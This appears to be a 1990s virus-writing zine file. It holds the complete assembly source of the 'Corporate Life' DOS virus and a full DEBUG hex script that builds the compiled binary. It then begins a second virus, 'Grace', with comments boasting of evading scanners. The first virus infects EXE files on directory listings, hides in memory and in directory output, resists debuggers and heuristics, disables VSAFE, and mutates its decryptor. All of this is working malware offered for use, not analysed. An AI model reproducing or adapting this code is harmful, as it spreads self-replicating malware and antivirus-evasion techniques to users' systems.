;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
;<3B> Corporate Life (c) 1994 Stormbringer, Phalcon/Skism <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͹
;<3B> Dreams disipate like fog before the harsh sun - <20>
;<3B> Every morning, driving to work through the traffic, <20>
;<3B> A number, a cube, a tie..... <20>
;<3B> <20>
;<3B> Don't let your dreams die, mes amis, <20>
;<3B> Or you will become just another puppet - <20>
;<3B> Led by the strings of money by an ungrateful master. <20>
;<3B> <20>
;<3B> Fuck Corporate Life! <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....)
;Moderately Armored.
;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's.
;Memory Stealth - becomes a part of the last TSR program in memory.
;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls.
; (Only infects DOS .EXE files with no overlays)
;Critical Error Handler.
.model tiny
.radix 16
.code
org 100
start:
push es
push cs
pop ds
db 2dh dup(90)
EXE_ENTRY:
jmp short rotateit
db 09A
rotateit:
ror word ptr cs:[HostCS],1
jmp short EntryArmor
db 0ea ;simple annoyance for disasm
;----------------------------
EntryArmor:
push word ptr cs:[Armor1]
mov ax,not(00eah)
push ax
mov bp,sp
not word ptr ss:[bp] ;should lose trace-based
pop word ptr cs:[Armor1] ;analysis, such as f-prot's
Armor1: ;heuristics and TBCLEAN
pop word ptr cs:[Armor1]
call recursionshit
;----------------------------
GetDosVersion:
mov ax,3001
int 21
cmp al,6
ja BadDos
cmp al,3
jb BadDos
jmp short DosFine
db 0ea
BadDos:
jmp IsActiveInMemory
db 0ff
DosFine:
;----------------------------
KillVSAFE:
mov dx,not(0fa01)
mov ax,not(5945)
xchg dx,ax
push cs
not ax
not dx
int 16 ;Kill vsafe... lame friggin' program anyway
pop ds
;----------------------------
CheckIfActive:
mov ah,09
mov dx,offset Credits
int 21
jnc GetInt21Address
jmp IsActiveInMemory
;----------------------------
GetInt21Address:
xor ax,ax
push ds ax
pop ds
push word ptr ds:[84]
push word ptr ds:[05*4]
push word ptr ds:[86]
push word ptr ds:[05*4+2]
pop word ptr ds:[03*4+2]
pop word ptr cs:[Org21CS]
pop word ptr ds:[03*4]
pop word ptr cs:[Org21IP]
pop ds
push es
;----------------------------
AllocTempMem:
mov ah,4a
mov bx,-1
call call21direct
sub bx,(end_main-start+1f)/10
mov ah,4a
call call21direct
mov bx,(end_main-start+0f)/10
mov ah,48
call call21direct
;----------------------------
PutVirusInTempMem:
sub ax,10
mov es,ax
mov di,100
mov si,di
mov cx,(end_main-start)
repnz movsb
push ds
mov ds,cx
SetupProgramTerminate:
push ds:[22*4]
push ds:[22*4+2]
mov ds:[22*4],offset Int22
mov ds:[22*4+2],es
mov word ptr ds:[6],0fff0
mov word ptr ds:[4],0
pop ax
pop bx
pop ds
mov es:[IP22],bx
mov es:[CS22],ax
pop ds
mov ds:[0a],offset Int22
mov ds:[0c],es
;----------------------------
IsActiveInMemory:
pop es
push es
pop ds
mov ax,es
add ax,10
add cs:HostCS,ax
add ax,cs:HostSS
cli
mov ss,ax
mov sp,cs:[HostSP]
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor di,di
mov si,100
sti
jmp dword ptr cs:[HostEntry]
HostEntry:
HostIP dw 0
HostCS dw 0fff0
HostSS dw 0fff0
HostSP dw 0fffe
Call21Direct:
pushf
call dword ptr cs:[Org21IP]
ret
Org21IP dw 0
Org21CS dw 0
;-----------------------------
recursionshit:
mov cx,11
call recurseit
ret
db 081
recurseit:
jmp short bumpshit
db 0ff
Afterbump:
dec cx
pop ax bx dx
jz exitrecurse
call recurseit
exitrecurse:
rol word ptr cs:[HostCS],1
ret
db 0cdh
bumpshit:
mov bp,sp
push ds
mov bx,cs
push ax
mov word ptr [bp-4],0
pop ds
mov word ptr ds:[3*4],offset afterbump
mov word ptr ds:[3*4+2],bx
pop ds
int 3
How_did_ya_get_here:
loop How_did_ya_get_here
mov ds,cx
push word ptr ds:[46c]
push word ptr ds:[46c]
push word ptr ds:[46e]
iret
;-----------------------------
db 83
Int22:
mov ah,52
call call21direct
mov es,es:[bx-2]
mov bx,es
mov ax,es:[03]
mov cx,es
add ax,cx
inc ax
mov es,ax
FindMCB:
mov ax,es:[03]
cmp ax,(end_prog-start+4f)/10
jb TooSmall
cmp word ptr es:[01],0
je FoundOne
jmp NExtOne
TooSmall:
cmp word ptr es:[01],0
jne NextOne
jmp SkipBXMove
NextOne:
mov bx,es
SkipBXMove:
mov cx,es
add ax,cx
inc ax
cmp ax,0f000
je NoMem
cmp byte ptr es:[0],'M'
jne NoMem
mov es,ax
jmp FindMCB
db 081
NoMem:
jmp Exit22
db 0ea
FoundOne:
mov dx,es
mov es,bx
inc bx
add bx,word ptr es:[03]
push bx
mov ax,es
push word ptr es:[01]
push es
inc ax
mov bx,word ptr es:[03]
mov word ptr cs:[HostMem],ax
mov es,ax
mov ah,4a
add bx,(end_prog-start+3f)/10
call call21direct
jc TooSmall
pop es
pop word ptr es:[01]
pop ax
sub ax,10
mov es,ax
mov di,100
mov si,di
push cs
pop ds
mov cx,(end_prog-start)
repnz movsb
inc cx
mov ds,cx
push word ptr ds:[74]
push word ptr ds:[76]
mov word ptr ds:[74],offset Int21
mov word ptr ds:[76],es
pop word ptr es:[CS21]
pop word ptr es:[IP21]
call ActivateSoundBlaster
Exit22:
db 0ea
IP22 dw 0
CS22 dw 0
db 0ff
Int21:
cmp ah,09
jne NotInstallCheck
xchg dx,bx
cmp word ptr ds:[bx],'B$'
xchg dx,bx
jne Exit21
stc
retf 2
db 088
NotInstallCheck:
push ax ;reversed bits on ah
xor ah,11 ;0001 0001 ;11 - find first
jz FindFile
xor ah,3
jz FindFile ;0001 0010 ;12 - find next
xor ah,5bh ;0100 1001 ;49 - dealloc mem
jz Dealloc
ExitTests:
pop ax
ExitFunctions:
Exit21:
db 0ea
IP21 dw 0
CS21 dw 0
db 0ea
Dealloc:
mov ax,es
cmp ax,word ptr cs:[HostMem]
pop ax
jne Exit21
iret
db 0ea
GoExitFind:
jmp ExitFind
FindFile:
pop ax
call FakeInt21
or al,al
jnz GoExitFind
push ax bx cx dx es ds si di
call SetCritical
mov ah,2f
call FakeInt21
push es bx
cmp byte ptr es:[bx],0ff
jne ExitCheck
add bx,7
CheckIfEXE:
cmp word ptr es:[bx+09],'XE'
jne ExitCheck
cmp byte ptr es:[bx+0bh],'E'
jne ExitCheck
CheckIfInfected:
cmp word ptr es:[bx+19h],0c800
ja SubVirSize
RandomChanceOfInfect:
call RandomChance
jc SubVirSize
SetupInfectFile:
push es bx
push cs
pop es
mov di,offset FCB1
mov cx,EndFCB1-FCB1
xor ax,ax
push di
repnz stosb
pop di
pop si ds
mov cx,12d
repnz movsb
OpenFileFCB:
mov ah,0f
push cs
pop ds
mov dx,offset FCB1
call FakeInt21
inc al
jz SubVirSize ;Error Occured
push es bx
call InfectFileFCB
pop bx es
CloseFileFCB:
mov ah,10
mov dx,offset FCB1
call FakeInt21
SubVirSize:
cmp word ptr es:[bx+19],0c800
jb AfterDirStealth
sub word ptr es:[bx+19],0c800
push bx
mov ah,62
call FakeInt21
mov ax,cs
cmp bx,ax
pop bx
ja AfterDirStealth
sub word ptr es:[bx+1dh],(end_main-start+40)
sbb word ptr es:[bx+1f],0
AfterDirStealth:
ExitCheck:
pop dx ds
mov ah,1a
call fakeint21
call ResetCritical
pop di si ds es dx cx bx ax
ExitFind:
retf 2
db 0ea
FakeInt21:
pushf
call dword ptr cs:[IP21]
ret
db 09a
BadFile:
jmp ExitInfFCB
db 0ea
InfectFileFCB:
push word ptr [FCBTime]
push word ptr [FCBDate]
push word ptr [FCBFSize]
push word ptr [FCBFSize+2]
pop word ptr [OrgSize+2]
pop word ptr [OrgSize]
call CheckHeader
jc InfectionCheck
call SaveValues
call ResetHeader
call PAdEndOfFile
jmp ModTimeInfected
InfectionCheck:
jc ExitInfFCB ;was infection successful?
ModTimeInfected:
pop ax
add ax,0c800
push ax
ExitInfFCB:
pop word ptr cs:[FCBDate]
pop word ptr cs:[FCBTime]
ret
PadEndOfFile:
mov ax,word ptr [OrgSize]
mov dx,word ptr [OrgSize+2]
add ax,(end_main-start+40)
adc dx,0
mov word ptr [FCBFSize],ax
mov word ptr [FCBFSize+2],dx
ret
RandomChance:
push ax ds
xor ax,ax
mov ds,ax
mov ax,ds:[46c]
shr ax,1
pop ds ax
ret
ResetHEader:
mov ax,word ptr [FCBFsize]
mov dx,word ptr [FCBFsize+2]
and ax,1ff
mov word ptr [EXEHeader+2],ax
mov ax,word ptr [FCBFsize]
jz NoCarry
add ax,1ff
NoCarry:
mov cl,9
shr ax,cl
mov cl,7
shl dx,cl
add dx,ax
mov word ptr [EXEHeader+4],dx
add word ptr [exeheader+0a],(end_main-start+1f)/10
mov ah,1a
mov dx,offset EXEHeader
call fakeint21
mov dx,offset FCB1
mov byte ptr [FCBCurRec],0
mov word ptr [FCBBlock],0
mov word ptr [FCBRecSize],40
mov ah,15
call fakeInt21
ret
CheckHEader:
mov word ptr [FCBRecSize],40
mov ah,1a
mov dx,offset EXEHeader
call fakeInt21 ;Set DTA for read
mov ah,14
mov dx,offset FCB1 ;read EXEheader
call fakeInt21
mov ax,word ptr [EXEHeader]
add ah,al
xor ah,('Z'+'M')
jnz BadHeader
cmp word ptr [EXEHeader+1a],0
jnz BadHEader
cmp word ptr [EXEHeader+18],40
jae BadHeader
cmp word ptr [FCBFSize+2],4
ja BadHeader
clc
ret
BadHeader:
stc
ret
SaveValues:
push word ptr [EXEHeader+0e]
mov ax,word ptr [FCBFsize]
push word ptr [EXEHeader+10]
mov dx,word ptr [FCBFsize+2]
push word ptr [EXEHEader+14]
mov cl,4
mov bx,word ptr [EXEHeader+08]
shl bx,cl
sub ax,bx
sbb dx,0
push word ptr [EXEHEader+16]
shr ax,cl
pop word ptr [HostCS]
adc ax,0
pop word ptr [HostIP]
mov bx,ax
pop word ptr [HostSP]
shl ax,cl
pop word ptr [HostSS]
adc dx,0
mov cl,0c
shl dx,cl
add bx,dx
sub bx,0f
mov word ptr [EXEHeader+16],bx
mov word ptr [EXEHeader+14],100
add bx,0f0
mov word ptr [EXEHeader+0e],bx
mov word ptr [EXEHeader+10],2fe
mov ax,word ptr [FCBFsize]
mov dx,word ptr [FCBFsize+2]
mov cl,4
shr ax,cl
adc ax,0
mov ch,dl
mov cl,4
shr dx,cl
shl ch,cl
add ah,ch
adc dx,0
inc ax
adc dx,0
mov word ptr [FCBRanRec],ax
mov word ptr [FCBRanRec+2],dx
mov word ptr [FCBRecSize],10
push cx bx dx si di
call Mutate
pop di si dx bx cx
mov dx,offset DecryptBuffer
AppendLoop:
mov ah,1a
call fakeint21
push dx
mov ah,22
mov dx,offset FCB1
call fakeint21
pop dx
call updateRecAndDX
cmp dx,offset end_prog
jb AppendLoop
ret
UpdateRecAndDX:
add dx,10
add word ptr [FCBRanRec],1
adc word ptr [FCBRanRec+2],0
ret
SetCritical:
push ax ds
mov ax,9
mov ds,ax
push word ptr ds:[0]
push word ptr ds:[2]
pop word ptr cs:[OldCritical+2]
pop word ptr cs:[OldCritical]
mov word ptr ds:[0],offset CriticalError
push cs
pop word ptr ds:[02]
pop ds ax
ret
ResetCritical:
push ax ds
push word ptr cs:[OldCritical]
mov ax,9
push word ptr cs:[OldCritical+2]
mov ds,ax
pop word ptr ds:[2]
pop word ptr ds:[0]
pop ds ax
ret
CriticalError:
mov al,3
iret
OldCritical dd 0
HostMem dw 0
Credits:
db '$B -=[$$$ Corporate Life $$$]=- P$'
EndCredits:
OrgSize dd 0
FCB1:
FCBDrive db 0
FCBFName db 8 dup(0)
FCBExt db 3 dup(0)
FCBBlock dw 0
FCBRecSize dw 0
FCBFSize dd 0
FCBDate dw 0
FCBTime dw 0
FCBReserved db 8 dup(0)
FCBCurRec db 0
FCBRanRec dd 0
EndFCB1:
EXEHeader db 40 dup(0)
;-----------------]> Activation routine - talks if sound blaster speech drv'r
ActivateSoundBlaster:
CheckIfSBSpeechEnabled:
push ax bx es ds si di
xor ax,ax
mov es,ax
mov ax,0fbfbh
int 2f
mov ax,es
or ax,ax
jz notinstalled
cmp word ptr es:[bx],'BF'
jne notinstalled
SayFuckCorporateLife:
mov ax,0707
mov si,offset speechbuf
mov di,20
add di,bx
mov cx,(endmess-speechbuf)
push cs
pop ds
repnz movsb
call dword ptr es:[bx+4]
NotInstalled:
pop di si ds es bx ax
ret
speechbuf:
db (endmess-message)
message db 'Fuck Corporat Life.',0a,0dh
endmess:
;-----------------]> Simple friggin' mutation engine, but quite small....
Mutate:
push cs cs
pop es ds
mov cx,(end_main-EXE_Entry)
call InitRand
SetupCounter:
mov word ptr [SetCounter+1],cx
PreProcessCode:
mov di,offset NewCodeBuffer
mov si,offset EXE_Entry
repnz movsb
SelectCounterAndPointer:
call GetRand
and ax,707
cmp al,4
je SelectCounterAndPointer
cmp ah,3
je RegsValid
cmp ah,6
je RegsValid
cmp ah,7
je RegsValid
jmp short SelectCounterAndPointer
RegsValid:
cmp ah,al
je SelectCounterAndPointer
FindAddressingReg:
push ax
cmp ah,3
jne Is_SI_or_DI
xor ah,4
jmp GotAddrReg
Is_SI_Or_DI:
xor ah,2
GotAddrReg:
mov dh,ah ;DH now holds addressing reg value
GetRandomXorKey:
call GetRand
mov byte ptr [XorByte+2],al
pop ax
SetNewRegs:
and byte ptr [XorByte+1],11111000b
and byte ptr [SetCounter],11111000b
and byte ptr [DecCounter],11111000b
and byte ptr [SetPointer],11111000b
and byte ptr [IncPointer],11111000b
or byte ptr [SetCounter],al
or byte ptr [DecCounter],al
or byte ptr [SetPointer],ah
or byte ptr [IncPointer],ah
or byte ptr [Xorbyte+1],dh
mov dx,ax
SetupDummy:
call GetRand
and ax,707
cmp al,4
je SetupDummy
cmp al,dh
je SetupDummy
cmp al,dl
je SetupDummy
mov ah,al
and word ptr [OneByte],1111100011111000b
or word ptr [Onebyte],ax
EncryptCode:
mov word ptr [SetPointer+1],offset NewCodeBuffer
call SetCounter
mov word ptr [SetPointer+1],offset EXE_Entry
SetupDecrypt:
mov si,offset EncryptionPrototype
mov di,offset DecryptBuffer
call MakeOneBytes
call OneByteInst
call OneByteInst
call OneByteInst
call ThreeByteInst
call ThreeByteInst
mov bx,di
call ThreeByteInst
call OneByteInst
movsw
mov ax,di
sub ax,bx
not al
stosb
FillBuffer:
mov cx,offset NewCodeBuffer
sub cx,di
call MakeAByte
ret
ThreeByteInst:
movsw
OneByteInst:
movsb
call MakeOneBytes
ret
MakeOneBytes:
push bx cx
call GetRand
and ax,3
inc ax
mov cx,ax
call MakeAByte
pop cx bx
ret
MakeAByte:
call GetRand
and ax,3
mov bx,ax
add bx,offset OneByte
mov al,byte ptr [bx]
stosb
loop MakeAByte
ret
InitRand:
push ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[46c]
pop ds
mov word ptr cs:[RandKey],ax
ret
GetRand:
push cx dx
mov ax,word ptr cs:[RandKey]
mov cx,4791
mul cx
mov cx,dx
ror ax,cl
add ax,9174
mov word ptr cs:[Randkey],ax
pop dx cx
ret
RandKey dw 0
EncryptionPrototype:
SaveSeg:
push es
SetCurSeg:
push cs
pop ds
SetCounter:
mov bx,0ffff
SetPointer:
mov si,0ffff
XorByte:
xor byte ptr [si],0ff
IncPointer:
inc si
DecCounter:
dec bx
LoopMod:
jnz XorByte
ExitPrototype:
ret
DummyInstructions:
OneByte:
inc cx
dec cx
nop
sti
end_mut:
end_main:
DecryptBuffer db 30 dup(?)
NewCodeBuffer db (end_main-EXE_Entry) dup (?)
end_prog:
end start
;----------------------- end corplife.asm ---------------------------------
N corplife.com
E 0100 06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0130 EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01
E 0140 B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F
E 0150 06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C
E 0160 03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6
E 0170 92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21
E 0180 73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36
E 0190 14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F
E 01A0 06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A
E 01B0 BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75
E 01C0 00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7
E 01D0 B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00
E 01E0 C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF
E 01F0 C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3
E 0200 48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F
E 0210 8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA
E 0220 8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33
E 0230 FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF
E 0240 FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00
E 0250 E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4
E 0260 FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46
E 0270 FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC
E 0280 E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04
E 0290 CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03
E 02A0 00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72
E 02B0 0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00
E 02C0 00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74
E 02D0 0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65
E 02E0 EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF
E 02F0 36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0
E 0300 B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01
E 0310 00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92
E 0320 0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06
E 0330 74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06
E 0340 71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F
E 0350 87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50
E 0360 80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58
E 0370 EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0
E 0380 CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51
E 0390 52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26
E 03A0 80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E
E 03B0 26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8
E 03C0 CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0
E 03D0 57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA
E 03E0 55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07
E 03F0 B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E
E 0400 26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8
E 0410 5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F
E 0420 B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58
E 0430 CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF
E 0440 36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F
E 0450 06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8
E 0460 3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F
E 0470 06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06
E 0480 05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E
E 0490 33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B
E 04A0 16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF
E 04B0 01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83
E 04C0 06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6
E 04D0 06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00
E 04E0 B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A
E 04F0 06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02
E 0500 E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92
E 0510 06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF
E 0520 36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36
E 0530 8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF
E 0540 36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02
E 0550 8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1
E 0560 0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06
E 0570 00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02
E 0580 A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA
E 0590 B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3
E 05A0 76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56
E 05B0 57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73
E 05C0 FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA
E 05D0 92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78
E 05E0 06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36
E 05F0 02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00
E 0600 26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29
E 0610 06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F
E 0620 06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24
E 0630 42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61
E 0640 74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50
E 0650 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 06B0 00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57
E 06C0 33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26
E 06D0 81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03
E 06E0 FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07
E 06F0 5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61
E 0700 74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07
E 0710 E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8
E 0720 F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC
E 0730 06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80
E 0740 FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8
E 0750 00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80
E 0760 26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06
E 0770 37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36
E 0780 3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6
E 0790 74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06
E 07A0 45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30
E 07B0 01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00
E 07C0 E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12
E 07D0 00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18
E 07E0 00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00
E 07F0 40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B
E 0800 D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8
E 0810 A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9
E 0820 91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A
E 0830 59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF
E 0840 46 4B 75 F9 C3 41 49 90 FB
R CX
0749
W
Q
40Hex Number 14 Volume 5 Issue 1 File 009
;==============================================================================
;
; Grace
;
; Mid-file COM/EXE TSR infector, 1294 bytes
;
; This virus employs a brand new infection mechanism such that virus
; scanners which only check the entry points will fail. ie. heuristics
; are (so far) worthless against this virus. However this opens the virus
; up to signature scanning vulnerability because the entry point code
; is fixed and very specific. The next version of this virus will feature
; a general architectural reconstruction, multiple-block displacement
; and also polymorphism, so keep your eyes peeled for that one.
;
; I know there has been another virus which has done mid-file infection
; (Commander Bomber) but that uses a different method which achieves
; a similar result (ie, infection in the middle of the host). However
; the implementation illustrated in this virus is a more simple
; rendition of the idea, it simply has a 'wrapper' which relocates blocks
; etc. into the appropriate positions before the virus proper gains
; control. Cmdr Bomber, on the other hand, inserts multiple polymorphic
; jumps, but only infects .com files.
;
; This code is getting on (about 8 months) and has a few drawbacks. It
; just took too much stuffing around writing it that I didn't want to
; change it! :> .. for example the abovementioned susceptibility to sig
; scanning.. also the relocation of the entire header information to the
; end of the exe file (lame..) which requires heaps more memory than the
; average virus and suspicious extra disk accesses. Also, it was written
; to be compiled with a86 [1988] so the stuff at the end I had to count up
; manually. So I don't use TASM, and dont do my tabs right.. that's my
